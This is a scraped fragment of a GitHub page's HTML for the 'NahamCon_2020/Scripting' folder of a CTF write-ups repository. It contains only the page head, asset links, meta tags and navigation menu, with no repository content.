text_chunk
stringlengths 151
703k
|
---|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF/NahamCon_2020/Scripting at master · skyf0l/CTF · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B139:7430:502CE83:5253206:64121F7F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c55f51ff1008bf15486a9e5e802d493de22633edcd09bbb2f98dacd507e86ea4" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMTM5Ojc0MzA6NTAyQ0U4Mzo1MjUzMjA2OjY0MTIxRjdGIiwidmlzaXRvcl9pZCI6Ijg3MTg3OTcxODQ2NTU1NjQ2NzEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="c28a7b3d435a34951701f1bdf4c3b520c9a709e5477e7fa5f1a6d84eef8012f7" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:266067883" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Some wrrite-ups. Contribute to skyf0l/CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/39a534d7f893f286c53fb3713ac70acc95cf0bb119bf5b9093aa3a107b40ac4e/skyf0l/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/NahamCon_2020/Scripting at master · skyf0l/CTF" /><meta name="twitter:description" content="Some wrrite-ups. Contribute to skyf0l/CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/39a534d7f893f286c53fb3713ac70acc95cf0bb119bf5b9093aa3a107b40ac4e/skyf0l/CTF" /><meta property="og:image:alt" content="Some wrrite-ups. Contribute to skyf0l/CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/NahamCon_2020/Scripting at master · skyf0l/CTF" /><meta property="og:url" content="https://github.com/skyf0l/CTF" /><meta property="og:description" content="Some wrrite-ups. Contribute to skyf0l/CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/skyf0l/CTF git https://github.com/skyf0l/CTF.git">
<meta name="octolytics-dimension-user_id" content="59019720" /><meta name="octolytics-dimension-user_login" content="skyf0l" /><meta name="octolytics-dimension-repository_id" content="266067883" /><meta name="octolytics-dimension-repository_nwo" content="skyf0l/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="266067883" /><meta name="octolytics-dimension-repository_network_root_nwo" content="skyf0l/CTF" />
<link rel="canonical" href="https://github.com/skyf0l/CTF/tree/master/NahamCon_2020/Scripting" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
